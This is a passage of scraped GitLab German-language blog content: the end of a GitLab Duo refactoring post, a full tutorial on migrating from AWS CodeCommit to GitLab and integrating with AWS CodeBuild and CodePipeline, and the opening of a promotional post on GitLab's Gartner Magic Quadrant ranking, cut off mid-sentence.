[Dokumentation: GitLab-Duo-Anwendungsfälle](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html)\n- [Tutorial: Top-Tipps für effiziente KI-basierte Codevorschläge mit GitLab Duo](https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/)\n- [Tutorial: 10 Best Practices für den Einsatz des KI-basierten GitLab Duo Chat](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/)\n\n## Wichtigste Erkenntnisse \n\n1. GitLab Duo bietet effiziente Hilfe beim Erklären und Refaktorisieren von Code. \n1. Du kannst Code zwischen den Sprachstandards refaktorisieren und im Chat weitere Fragen stellen.\n1. Prompts für Codevorschläge können bestimmte Sprachstandards generieren, und die Code-Vervollständigung geht auf den aktuellen Codekontext ein. \n1. Das Refaktorisieren von Code in neue Programmiersprachen hilft bei längerfristigen Migrations- und Modernisierungsvorhaben.\n1. Code kann auf die unterstützten Sprachstandards älterer Systeme „herabgestuft“ werden.\n1. GitLab Duo kann komplexe Code- und Programmiersprachen mit Beispielen in verschiedenen Programmiersprachen erklären.\n1. Das Update auf Anthropic Claude 3.5 auf GitLab.com hat die Qualität und Geschwindigkeit der Codevorschläge und des Chats noch einmal verbessert (Self-Managed-Upgrade auf 17.3 empfohlen).\n1. Es gibt keine Grenzen, außer deiner Vorstellungskraft und deinen Produktionsschwierigkeiten.\n\nErfahre mehr über effiziente Codevorschläge und Chat-Workflows und beginne jetzt deine KI-basierte Code-Refactoring-Reise mit GitLab Duo!\n\n> [Starte deine kostenlose Testversion von GitLab Duo!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro_)\n",[679,767,787],{"slug":2845,"featured":6,"template":682},"refactor-code-into-modern-languages-with-ai-powered-gitlab-duo","content:de-de:blog:refactor-code-into-modern-languages-with-ai-powered-gitlab-duo.yml","Refactor Code Into Modern Languages With Ai Powered Gitlab Duo","de-de/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo.yml","de-de/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo",{"_path":2851,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2852,"content":2858,"config":2865,"_id":2867,"_type":16,"title":2868,"_source":17,"_file":2869,"_stem":2870,"_extension":20},"/de-de/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab",{"title":2853,"description":2854,"ogTitle":2853,"ogDescription":2854,"noIndex":6,"ogImage":2855,"ogUrl":2856,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2856,"schema":2857},"Ultimativer Leitfaden für die Migration von AWS CodeCommit zu GitLab","In diesem umfassenden Tutorial erfährst du, wie du von AWS Services zu GitLab migrieren und die DevSecOps-Plattform nahtlos integrieren kannst. ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097810/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2828%29_4mi0l4wzUa5VI4wtf8gInx_1750097810027.png","https://about.gitlab.com/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ultimativer Leitfaden für die Migration von AWS CodeCommit zu GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tsukasa Komatsubara\"},{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"},{\"@type\":\"Person\",\"name\":\"Samer Akkoub\"},{\"@type\":\"Person\",\"name\":\"Bart Zhang\"}],\n        \"datePublished\": \"2024-08-26\",\n      }\n                  ",{"title":2853,"description":2854,"authors":2859,"heroImage":2855,"date":2841,"body":2862,"category":680,"tags":2863,"updatedDate":2864},[2795,844,2860,2861],"Samer Akkoub","Bart Zhang","Am 25. Juli 2024 hat AWS eine wichtige Ankündigung in Bezug auf den CodeCommit-Service des Unternehmens veröffentlicht. Wie in ihrem [offiziellen Blogbeitrag](https://aws.amazon.com/blogs/devops/how-to-migrate-your-aws-codecommit-repository-to-another-git-provider/) beschrieben, hat AWS beschlossen, Neukund(inn)en den Zugriff auf CodeCommit zu entziehen. Bestehende Kund(inn)en können den Service zwar weiterhin nutzen, aber AWS führt keine neuen Funktionen mehr ein und konzentriert sich nur noch auf die Verbesserung von Sicherheit, Verfügbarkeit und Leistung.\n\nDiese Ankündigung hat Entwicklerteams dazu veranlasst, eine Migration ihrer Repositorys zu alternativen Git-Anbietern in Betracht zu ziehen. Angesichts dieser Änderungen haben wir diese umfassende Anleitung erstellt, um Teams bei der Migration zu GitLab und der Integration mit anderen AWS-Services zu unterstützen.\n\n**Hinweis:** Weitere Einzelheiten zu den offiziellen Migrationsempfehlungen von AWS findest du im [entsprechenden Blogbeitrag](https://aws.amazon.com/blogs/devops/how-to-migrate-your-aws-codecommit-repository-to-another-git-provider/).\n\n## Über diesen Leitfaden\n\nDieser Leitfaden enthält umfassende Informationen für Entwicklungsteams, die GitLab nutzen und eine Integration mit AWS-Services in Betracht ziehen oder eine Migration von AWS-gehosteten Git-Repositories zu GitLab.com planen. Der Leitfaden ist in drei Hauptabschnitte unterteilt:\n\n- [Parallele Migration zu GitLab](#section-1-parallel-migration-to-gitlab): Beschreibt die schrittweise Migration vorhandener, in AWS gehosteter Repositories zu GitLab.com bei gleichzeitiger Minimierung von Risiken.\n\n- [Integration mit AWS CodeBuild](#section-2-integrating-gitlab-with-aws-codebuild): Beschreibt die Schritte zur Integration von GitLab-Repositories mit AWS CodeBuild und zur Einrichtung einer leistungsstarken Umgebung mit kontinuierlicher Integration.\n\n- [Integration mit AWS CodePipeline](#section-3-integrating-gitlab-with-aws-codepipeline): Enthält Details zur Verbindung von GitLab-Repositories mit AWS CodePipeline, um effiziente Pipelines für kontinuierliche Lieferung zu erstellen.\n\n- [Downstream-Integrationen für CodePipeline- und CodeStar-Verbindunge](#section-4-migrating-to-gitlab): Beschreibt die Nutzung von GitLab-AWS-Verbindungen für umfassende Servicezugriffe mit zahlreichen Integrationsmöglichkeiten im gesamten AWS-Ökosystem.\n\nIn dieser Anleitung erfährst du, wie du die leistungsstarken Funktionen von GitLab und AWS kombinieren kannst, um einen effizienten und flexiblen Entwicklungs-Workflow zu erstellen.\n\n## Abschnitt 1: Parallele Migration zu GitLab \n\nWenn du vorhast, Git-Repositories, die auf AWS gehostet werden, auf GitLab.com zu migrieren, findest du in diesem Abschnitt eine Anleitung für eine schrittweise Migration, die die Risiken minimiert. Mit den Mirroring-Funktionen von GitLab kannst du bestehende Entwicklungsabläufe beibehalten und gleichzeitig die neue Umgebung testen.\n\n### Warum ist die parallele Migration wichtig?\n\nUmfangreiche Systemmigrationen sind immer mit Risiken verbunden, insbesondere mit potenziellen Auswirkungen auf die laufende Entwicklungsarbeit, bestehende Integrationen und automatisierte Prozesse. Ein paralleler Migrationsansatz bietet die folgenden Vorteile:\n\n1. Risikominimierung: Teste die neue Umgebung, während bestehende Systeme betriebsbereit bleiben.\n2. Nahtloser Übergang: Entwicklungsteams können sich allmählich an das neue System gewöhnen.\n3. Integrationstests: Teste alle Integrationen und Automatisierungen in der neuen Umgebung gründlich.\n4. Zukunftsfähigkeit: Ermögliche es den Teams, schrittweise auf GitLab CI/CD zu migrieren, parallel zur bestehenden CI.\n\nEine parallele Migration ist nicht erforderlich, wenn du bereits weißt, dass du direkt zu GitLab wechseln möchtest.\n\n### Schritte für die Migration zu GitLab.com\n\n#### Schritt 1: Einrichtung auf GitLab.com\n\n- Überprüfe, ob dein Unternehmen bereits eine Gruppe auf GitLab.com besitzt und ob Single Sign-On (SSO) eingerichtet ist. Wenn ja, solltest du nach Möglichkeit beides verwenden.\n\n- Wenn dein Unternehmen noch nicht auf GitLab.com vertreten ist, besuche [GitLab.com](www.gitlab.com) und erstelle ein neues Konto oder melde dich bei einem bestehenden Konto an.\n- Erstelle einen neuen Unternehmens-Namensraum (eine Gruppe auf der Stammebene von gitlab.com).\n- Wähle einen Namen, der dein gesamtes Unternehmen widerspiegelt (und noch nicht vergeben ist).\n\n#### Schritt 2: Repository importieren\nBei paralleler Migration: Verwende die Pull-Mirroring-Funktion von GitLab, um Änderungen von in AWS gehosteten Repositories automatisch mit GitLab.com zu synchronisieren.\n\n1. Gehe zur Zielgruppe auf GitLab.com.\n2. Klicke oben rechts auf „Neues Projekt“.\n3. Klicke auf der Seite „Neues Projekt erstellen“ auf „Projekt importieren“.\n4. Klicke auf der Seite „Projekt importieren“ auf „Repository nach URL“.\n5. Gib die URL deines in AWS gehosteten Repositorys in das Feld „Git-Repository-URL“ ein.\n6. Aktiviere unter dem Feld „Git-Repository-URL“ die Option „Repository spiegeln“.\n7. Authentifizierung einrichten: Wähle in der AWS-CodeCommit-Konsole die Klon-URL für das Repository aus, das du migrieren möchtest. Wenn du CodeCommit-Repositories in GitLab importieren möchtest, kannst du die HTTPS-CodeCommit-URL verwenden, um das Repository über die GitLab-Repository-Spiegelung zu klonen. Außerdem musst du deine Git-Zugangsdaten von AWS für deinen IAM-Benutzer (Identity and Access Management) in GitLab angeben. Du kannst Git-Zugangsdaten für AWS CodeCommit erstellen, indem du dieser [AWS-Anleitung](https://docs.aws.amazon.com/codecommit/latest/userguide/setting-up-gc.html) folgst.\n\n![Klon-URL](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/clone-url-screenshot__1__aHR0cHM6_1750097822121.png)\n\nMit dieser Einrichtung werden Änderungen aus dem von AWS gehosteten Repository automatisch alle fünf Minuten auf GitLab.com übertragen.\n\nWeitere Informationen findest du in unserer [Dokumentation zur Repository-Spiegelung](https://docs.gitlab.com/ee/user/project/repository/mirror/).\n\n#### Schritt 3: Integrationen testen und validieren\n\n1. CI/CD-Pipelines: Richte die Datei `.gitlab-ci.yml` in GitLab CI ein, um vorhandene Pipelines zu replizieren. Weitere Informationen zur [Planung einer Migration von anderen CI-Tools nach GitLab CI/CD](https://docs.gitlab.com/ee/ci/migration/plan_a_migration.html).\n2. Ticketverfolgung: Importiere Projekt-Tickets und teste Workflows.\n3. Code Review: Richte den Merge-Request-Prozess ein und teste die Review-Workflows.\n#### Schritt 4: Schrittweise Migration\n\n1. Beginne mit kleinen oder unkritischen Projekten, um dich mit der Arbeit auf GitLab.com vertraut zu machen.\n2. Biete Schulungen für Teammitglieder an und plane Zeit für die Anpassung an neue Workflows ein.\n3. Migriere nach und nach weitere Projekte und stelle dabei sicher, dass die Integrationen und Workflows problemlos funktionieren.\n\nWeitere Informationen findest du unter [Automatisieren von Migrationen von CodeCommit nach GitLab](https://gitlab.com/guided-explorations/aws/migrating-from-codecommit-to-gitlab/-/blob/main/migrating_codecommit_to_gitlab.md).\n\n#### Schritt 5: Migration abschließen\nWenn alle Tests und Validierungen abgeschlossen sind und das Team mit der neuen Umgebung vertraut ist, kannst du die vollständige Migration planen. Gehe für jedes Projekt wie folgt vor:\n\n1. Lege ein Migrationsdatum fest und benachrichtige alle Stakeholder.\n2. Führe die abschließende Datensynchronisierung durch.\n3. Entferne die Spiegelungseinstellungen aus dem GitLab-Projekt.\n4. Lege in AWS gehostete Repositories als schreibgeschützt fest und übertrage alle Entwicklungsarbeiten nach GitLab.com.\n\n#### Schritt 6: Bewerten der Akzeptanz der neuen Funktionen\n\nDie Zusammenarbeit in GitLab und die Automatisierung von Workflows für Entwickler(innen) sind weitaus umfangreicher als in CodeCommit. Nimm dir etwas Zeit, um diese Fähigkeiten kennenzulernen. Der Merge-Request-Prozess ist im Vergleich zu CodeCommit besonders vielseitig.\n\nWenn die Repositories auf GitLab stabil sind, kannst du GitLab CI/CD mühelos parallel zu einer vorhandenen Lösung ausprobieren. Die Teams können sich Zeit nehmen, um ihre GitLab-CI/CD-Automatisierung zu optimieren, ohne dass die Produktions-Workflows davon betroffen sind.\n\nAuch die Artefaktverwaltung von GitLab ist mit der Release-Funktion und vielen Paketregistrierungen sehr leistungsfähig.\n\n### Abschnitt 1: Zusammenfassung\nMit einem parallelen Migrationsansatz zu GitLab kannst du einen reibungslosen Übergang erreichen und gleichzeitig die Risiken minimieren. Mit diesem Prozess können sich Teams schrittweise an die neue Umgebung anpassen und sicherstellen, dass alle Integrationen und Automatisierungen ordnungsgemäß funktionieren. Bei der Übernahmemigration wird nur ein einziges Kontrollkästchen ausgelassen, wenn bekannt ist, dass eine parallele Migration nicht notwendig ist.\n\n## Abschnitt 2: Integration von GitLab mit AWS CodeBuild\n\nWenn du Code aus GitLab-Repositories mit AWS CodeBuild erstellen und testen möchtest, hilft dir diese umfassende Anleitung beim Einrichten einer effizienten CI-Pipeline.\n\n### Voraussetzungen\n\n- GitLab.com-Konto\n- AWS-Konto\n- AWS CLI (konfiguriert)\n\n### Schritt 1: GitLab-Verbindung in AWS CodeStar-Verbindungen erstellen\n\n1. Melde dich in der AWS-Managementkonsole an und navigiere zum CodeBuild-Service.\n2. Wähle in der linken Navigationsleiste „Einstellungen“ > „Verbindungen“ aus.\n3. Klicke auf die Schaltfläche „Verbindung erstellen“.\n4. Wähle „GitLab“ als Anbieter aus.\n5. Gib einen Verbindungsnamen ein und klicke auf „Mit GitLab verbinden“.\n6. Daraufhin wirst du zur GitLab-Authentifizierungsseite weitergeleitet.\n7. Erteile die erforderlichen Berechtigungen.\n8. Nach erfolgreichem Abschluss ändert sich der Verbindungsstatus in „Verfügbar“.\n\n![CodeStar-Connect-Einrichtung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822122.png)\n\n### Schritt 2: AWS-CodeBuild-Projekt erstellen\n\n1. Klicke im CodeBuild-Dashboard auf „Build-Projekt erstellen“.\n2. Gib einen Projektnamen und eine Beschreibung ein.\n3. Wähle in den Quelleneinstellungen „GitLab“ als Anbieter aus.\n4. Wähle die soeben erstellte Verbindung aus und gib das GitLab-Repository und den Branch an.\n\n![CodeBuild-Projekt hinzufügen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_3_add_codebuild_aHR0cHM6_1750097822123.png)\n\n**Hinweis: Konfiguriere ab Schritt 3 die Einstellungen für deine spezifische Umgebung und deine Anforderungen.**\n\n### Zusammenfassung von Abschnitt 2\nIn diesem Abschnitt wurde ausführlich beschrieben, wie du GitLab-Repositories in AWS CodeBuild integrieren kannst. Diese Einrichtung ermöglicht eine kontinuierliche Integrationspipeline, bei der Codeänderungen in GitLab automatisch mit AWS CodeBuild erstellt und getestet werden.\n\n## Abschnitt 3: GitLab mit AWS CodePipeline integrieren\n\nWenn du die kontinuierliche Lieferung von GitLab-Repositories mit AWS CodePipeline implementieren möchtest, wird dir diese detaillierte Anleitung helfen. Die Integration ist jetzt noch einfacher geworden, da GitLab als AWS-CodeStar-Connections-Anbieter verfügbar ist.\n\n### Voraussetzungen\n\n- GitLab.com-Konto\n- AWS-Konto\n- AWS CLI (konfiguriert)\n\n### Schritt 1: GitLab-Verbindung in AWS CodeStar-Verbindungen erstellen\n\n1. Melde dich in der AWS-Managementkonsole an und navigiere zum CodePipeline-Service.\n2. Wähle in der linken Navigationsleiste „Einstellungen“ > „Verbindungen“ aus.\n3. Klicke auf die Schaltfläche „Verbindung erstellen“.\n4. Wähle „GitLab“ als Anbieter aus.\n5. Gib einen Verbindungsnamen ein und klicke auf „Mit GitLab verbinden“.\n6. Daraufhin wirst du zur GitLab-Authentifizierungsseite weitergeleitet.\n7. Erteile die erforderlichen Berechtigungen.\n8. Nach erfolgreichem Abschluss ändert sich der Verbindungsstatus in „Verfügbar“.\n\n![CodeStar Connections einrichten](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822122.png)\n\n### Schritt 2: AWS CodePipeline erstellen\n\n1. Klicke im CodePipeline-Dashboard auf „Pipeline erstellen“.\n2. Gib einen Pipeline-Namen ein und klicke auf „Weiter“.\n3. Wähle „GitLab“ als Quellenanbieter aus.\n4. Wähle die soeben erstellte Verbindung aus und gib das GitLab-Repository und den Branch an.\n5. Wähle den Triggertyp aus: Du kannst die Ausführung der CodePipeline-Pipeline anhand von Pull- oder Push-Ereignissen für bestimmte Branches und Dateitypen in deinem Repository auslösen.\n\n![Quellenanbieter hinzufügen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822125.png)\n\n![Quellkonfiguration hinzufügen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_2_source_provider_aHR0cHM6_1750097822127.png)\n\n**Hinweis: Konfiguriere ab Schritt 3 die Einstellungen für deine spezifische Umgebung und deine Anforderungen.**\n\n### Zusammenfassung von Abschnitt 3\nIn diesem Abschnitt wurde beschrieben, wie du GitLab-Repositories in die AWS CodePipeline integrierst. Diese Einrichtung ermöglicht eine CD-Pipeline, bei der Codeänderungen in GitLab automatisch in deiner AWS-Umgebung bereitgestellt werden.\n\n## Abschnitt 4: Migration zu GitLab\n\nDie Integration von GitLab in AWS eröffnet dir leistungsstarke Möglichkeiten zur Optimierung deiner Entwicklungs- und Bereitstellungs-Workflows und hilft dir, deine Probleme bei der Quellcodeverwaltung zu lösen. Diese Integration kann auf verschiedene Arten erreicht werden, die jeweils einzigartige Vorteile bieten:\n\n- Wenn du AWS-CodeStar-Verbindungen verwendest, um GitLab mit AWS-Services zu verknüpfen, erhältst du einen kohärenten Workflow, da du externe Git-Repositories wie GitLab mit verschiedenen AWS-Services verbinden kannst. Diese Einrichtung unterstützt automatisierte Builds, Bereitstellungen und andere wichtige Aktionen direkt von deinem GitLab-Repository aus und macht deinen Entwicklungsprozess integrierter und effizienter.\n\n- Die Verbindung von GitLab mit AWS CodePipeline über AWS CodeStar Connections treibt die Automatisierung voran und ermöglicht es dir, eine vollständige CI/CD-Pipeline zu erstellen. Dieser Ansatz integriert GitLab mit AWS CodePipeline und ermöglicht es dir, den gesamten Prozess – von der Quellcodeverwaltung über Builds bis hin zu Tests und Bereitstellung – mit AWS-Services wie CodeBuild und CodeDeploy zu automatisieren. So wird ein robuster, skalierbarer und effizienter Bereitstellungsprozess gewährleistet.\n\n![Diagramm neuer Technologien und Lösungen für die gemeinsame Nutzung von GitLab und AWS](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_2_source_configured_aHR0cHM6_1750097822129.png)\n\n1\\. Verbindung von GitLab mit AWS-Services über AWS CodeStar Connections\n\nAWS CodeStar Connections ist ein Service, mit dem du externe Git-Repositories (wie GitHub oder Bitbucket) mit den AWS-Services verbinden kannst. Du kannst GitLab auch über CodeStar Connections mit AWS-Services verbinden. Wenn du GitLab verwendest, musst du möglicherweise eine benutzerdefinierte Verbindung als HTTP-Git-Server einrichten.\nDie folgenden AWS-Services können mit dieser Methode mit GitLab verbunden werden:\n\n- **AWS Service Catalog **\n\nDer AWS Service Catalog hilft Unternehmen bei der Standardisierung und Verwaltung von AWS-Ressourcen. Die Integration mit GitLab verbessert die Transparenz beim Ressourcenmanagement und vereinfacht die Nachverfolgung von Änderungen. Insbesondere kannst du Katalogaktualisierungen auf der Grundlage von GitLab-Commits automatisieren und so die Effizienz deines Vorgangs verbessern.\n\n- __AWS CodeBuild__\n\nAWS CodeBuild ist ein verwalteter Build-Service, der Quellcode kompiliert, Tests durchführt und bereitstellbare Softwarepakete erstellt. Die Integration von GitLab mit CodeBuild ermöglicht es, automatisierte Build-Prozesse zu starten, wenn Codeänderungen an GitLab übertragen werden. Dies garantiert einheitliche Builds und erleichtert die Zusammenarbeit und Versionskontrolle.\n\n- __AWS Glue Notebook Jobs__\n\nAWS Glue Notebook Jobs ist ein Service, mit dem du interaktiv Datenaufbereitungs- und ETL-Aufgaben (Extract, Transform, Load) entwickeln und ausführen kannst. Die Integration von GitLab mit Glue Notebook Jobs ermöglicht die Versionskontrolle für Notebooks und ETL-Skripte, fördert die Zusammenarbeit zwischen Teammitgliedern und verbessert das Qualitätsmanagement von Datenverarbeitungs-Pipelines.\n\n- __AWS Proton__\n\nAWS Proton ist ein Service, der die Entwicklung und Bereitstellung von Microservices und serverlosen Anwendungen automatisiert. Durch die Integration von GitLab mit AWS Proton kannst du Infrastructure as Code verwalten, Bereitstellungen automatisieren und ein konsistentes Umgebungsmanagement sicherstellen, was zu effizienteren Entwicklungsprozessen führt.\n\nWenn AWS CodeStar Connections in Zukunft mehr Dienste unterstützen, wird es immer einfacher, GitLab mit zusätzlichen AWS-Services zu verbinden. Du solltest regelmäßig prüfen, ob es neue Services gibt, die CodeStar Connections unterstützen.\n\n2. Verbindung von CodePipeline mit GitLab über AWS CodeStar Connections (einschließlich CodeDeploy)\n\nAWS CodePipeline ist ein kontinuierlicher Bereitstellungsdienst, der den Freigabeprozess für Software automatisiert. Um GitLab mit CodePipeline zu verbinden, musst du AWS CodeStar Connections verwenden. Mit dieser Einrichtung kannst du ein GitLab-Repository als Quelle festlegen und die gesamte CI/CD-Pipeline automatisieren.\nBeispiele für wichtige Aktionen, die CodePipeline unterstützt:\n- **Quellcode-Kontrolle:** AWS CodeCommit, GitHub, Bitbucket, GitLab\n- **Erstellen und Testen:** AWS CodeBuild, Jenkins\n- **Bereitstellen:** AWS CodeDeploy, Elastic Beanstalk, ECS, S3\n- **Genehmigen:** Manuelle Genehmigung\n- **Infrastruktur-Management:** AWS CloudFormation\n- **Serverlos:** AWS Lambda\n- **Tests:** AWS Device Farm\n- **Benutzerdefinierte Aktionen:** AWS Step Functions\n\nDurch die Integration von GitLab mit CodePipeline kannst du die Pipeline automatisch auslösen, wenn Codeänderungen nach GitLab gepusht werden, um einen konsistenten Prozess vom Build bis zur Bereitstellung sicherzustellen. In Kombination mit den Versionskontrollfunktionen von GitLab ist es außerdem einfacher, den Verlauf und die Zustände der Bereitstellung zu verfolgen, was zu einer flexibleren und zuverlässigeren Softwarebereitstellung führt.\n\n## Das hast du gelernt\nDiese Anleitung enthält umfassende Informationen über die Migration zu und die Integration von GitLab in AWS. In den vier Abschnitten haben wir Folgendes behandelt:\n- Parallele Migration zu GitLab: Wie du schrittweise von bestehenden, bei AWS gehosteten Repositories zu GitLab.com migrierst und dabei die Risiken minimierst.\n- Integration mit AWS CodeBuild: Schritte zum Einrichten einer leistungsstarken CI-Umgebung, die mit GitLab-Repositories integriert ist.\n- Integration mit AWS CodePipeline: Wie du effiziente Continuous-Delivery-Pipelines mit GitLab-Repositories aufbaust.\n- Nachgelagerte Integrationen für CodePipeline und CodeStar Connections: Die Nutzung von GitLab-AWS-Verbindungen für einen weitreichenden Service-Zugang, wodurch eine Reihe von Integrationsmöglichkeiten im gesamten AWS-Ökosystem entstehen.\n\nDa die Code-Hosting- und Integrationsstrategie jedes Unternehmens einzigartig ist, kannst du dieses Tutorial als Ausgangspunkt für deine eigene GitLab- und AWS- Integrations- und Implementierungsstrategie nutzen.\n\n## Zusätzliche Ressourcen\n\nWeitere Informationen und erweiterte Konfigurationen findest du in den folgenden Ressourcen:\n\n- [GitLab-Dokumentation](https://docs.gitlab.com/)\n- [AWS-CodeBuild-Benutzerhandbuch](https://docs.aws.amazon.com/codebuild/latest/userguide/welcome.html)\n- [AWS-CodePipeline-Benutzerhandbuch](https://docs.aws.amazon.com/codepipeline/latest/userguide/welcome.html)\n- [GitLab-CI/CD-Dokumentation](https://docs.gitlab.com/ee/ci/)\n- [Integration mit AWS](https://docs.gitlab.com/ee/solutions/cloud/aws/gitlab_aws_integration.html)\n\nWenn du Fragen hast oder Unterstützung benötigst, wende dich bitte an den [GitLab-Support](https://about.gitlab.com/support/) oder den AWS-Support. Wir hoffen, dass dir diese umfassende Anleitung bei deiner AWS-GitLab-Integration hilft",[110,1272,746,767,2113,680,235],"2024-11-27",{"slug":2866,"featured":92,"template":682},"ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab","content:de-de:blog:ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab.yml","Ultimate Guide To Migrating From Aws Codecommit To Gitlab","de-de/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab.yml","de-de/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab",{"_path":2872,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2873,"content":2878,"config":2884,"_id":2886,"_type":16,"title":2887,"_source":17,"_file":2888,"_stem":2889,"_extension":20},"/de-de/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants",{"ogTitle":2874,"schema":2875,"ogImage":1152,"ogDescription":2876,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2877,"title":2874,"canonicalUrls":2877,"description":2876},"GitLab: Leader im Gartner MQ für KI-Programmierassistenten","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab zum Leader im Gartner Magic Quadrant für KI-Programmierassistenten 2024 ernannt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-08-22\",\n      }\n                  ","Im ersten Gartner® Magic Quadrat™ in dieser Kategorie wurde GitLab für seine „Ability to execute sowie die „Completeness of vision“ im Bereich der KI-Programmierassistent-Technologie ausgezeichnet.","https://about.gitlab.com/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants",{"heroImage":1152,"body":2879,"authors":2880,"updatedDate":2756,"date":2881,"title":2882,"tags":2883,"description":2876,"category":677},"Wir freuen uns, dass GitLab als Leader im [Gartner® Magic Quadrant™ für KI-Programmierassistenten](https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/) ausgezeichnet wurde – und das im ersten Jahr, in dem diese Kategorie vergeben wird. Wir sind angesichts dieser wichtigen Auszeichnung geehrt und sind überzeugt, dass dies der beste Beweis dafür ist, wie intensiv wir an KI-gestützten Fähigkeiten arbeiten, die die Softwarebereitstellung beschleunigen, die Sicherheit verbessern und Innovationen unserer Kund(inn)en vorantreiben.\n\nKI-Codeassistenten gehen über die reine Codeerstellung und -vervollständigung hinaus. Sie sind unterstützende Partner, die die Effizienz der Entwickler(innen) steigern, indem sie die Codequalität verbessern und kontinuierlich lernen. Durch die Automatisierung von Routineaufgaben und das Bereitstellen intelligenter Vorschläge verschaffen Assistenten wie GitLab Duo – unsere Suite von KI-gestützten Funktionen – den Entwickler(innen) mehr Zeit, um sich auf Problemlösungen auf höherer Ebene zu konzentrieren.\n\n![Bild von Gartner MQ KI-Programmierassistenten](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675964/Blog/Content%20Images/AI_Code_Assistants_MQ_graphic__1_.png)\n\n> Lade den [Bericht des Gartner® Magic Quadrant™ für KI-Programmierassistenten 2024](https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/) herunter.\n\n## KI-Programmierassistent: Geschwindigkeit, Sicherheit und nahtlose Integration\n\nKI-Programmierassistenten sind für Unternehmen jeder Größe unentbehrlich und helfen DevSecOps-Teams, sichere Software schneller zu entwickeln und bereitzustellen. Der wahre Wert von KI zeigt sich jedoch, wenn sie in den gesamten Lebenszyklus der Softwareentwicklung integriert wird. Anders als punktuelle KI-Lösungen, die zu fragmentierten Toolchains und Datensilos führen können, bettet die umfassende Plattform von GitLab die KI von der Planung bis zur Produktion ein. So bietet die Lösung umfassende Sichtbarkeit sowie Informationen über Metriken und Dashboards.\n\n## Die Stärke von GitLab Duo\n\n[GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) ist eine umfassende Toolbox mit KI-Funktionen, die entwickelt wurde, um das Erlebnis für Entwickler(innen) zu verbessern, die Sicherheit an den Beginn des Entwicklungszyklus zu verlagern und die Zusammenarbeit zwischen den Teams in den Bereichen Dev, Sec und Ops zu stärken. Zu den wichtigsten Funktionen gehören: \n\n* Codevorschläge für die Codeerstellung und Code-Vervollständigung\n* Chat für kontextsensitive In-App-Unterstützung für Codeerläuterung, Code-Refactoring und Testgenerierung\n* Erklärung von Sicherheitslücken, um diese im Code besser zu verstehen\n* Beheben von Sicherheitslücken\n* Grundursachenanalyse zur Behebung von Pipeline-Problemen\n* KI-Impact-Analyse-Dashboard, um Informationen in Echtzeit zu erhalten und den KI-ROI eines Unternehmens zu bewerten\n\n## Maximierung des ROI mit KI \n\nFührungskräfte aus Wirtschaft und Technik benötigen einen Überblick darüber, wie KI im gesamten Lebenszyklus der Softwareentwicklung eingesetzt wird, um den ROI ihrer Technologieinvestitionen zu bewerten. Das [KI-Impact-Analyse-Dashboard](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) von GitLab bietet nicht nur Sichtbarkeit, sondern auch Metriken, um KI-Annahmeraten, Leistungsverbesserungen und noch vieles mehr zu messen.\n\n## Flexibilität, Datenschutz und Transparenz im Fokus\n\nGitLab-Kund(inn)en, die KI-basierte Funktionen entdecken möchten, können mit GitLab Duo die Leistung der KI sicher in einer IDE ihrer Wahl oder in einem GitLab Remote Development Workspace ausprobieren. Dabei erwartet sie eine flexible Preisstruktur sowie eine kostenlose Testversion. Außerdem bietet das [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) einen vollständigen Einblick in unsere Governance- und Transparenzpraktiken. \n\nBald können Unternehmen ihre [KI-Erfahrung](https://about.gitlab.com/de-de/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development/) durch Modellpersonalisierungen und Bereitstellung über ein selbstgehostetes Modell an ihre strategischen und regulatorischen Anforderungen anpassen. Durch die Modellpersonalisierung können Unternehmen GitLab Duo anpassen und das volle Potenzial 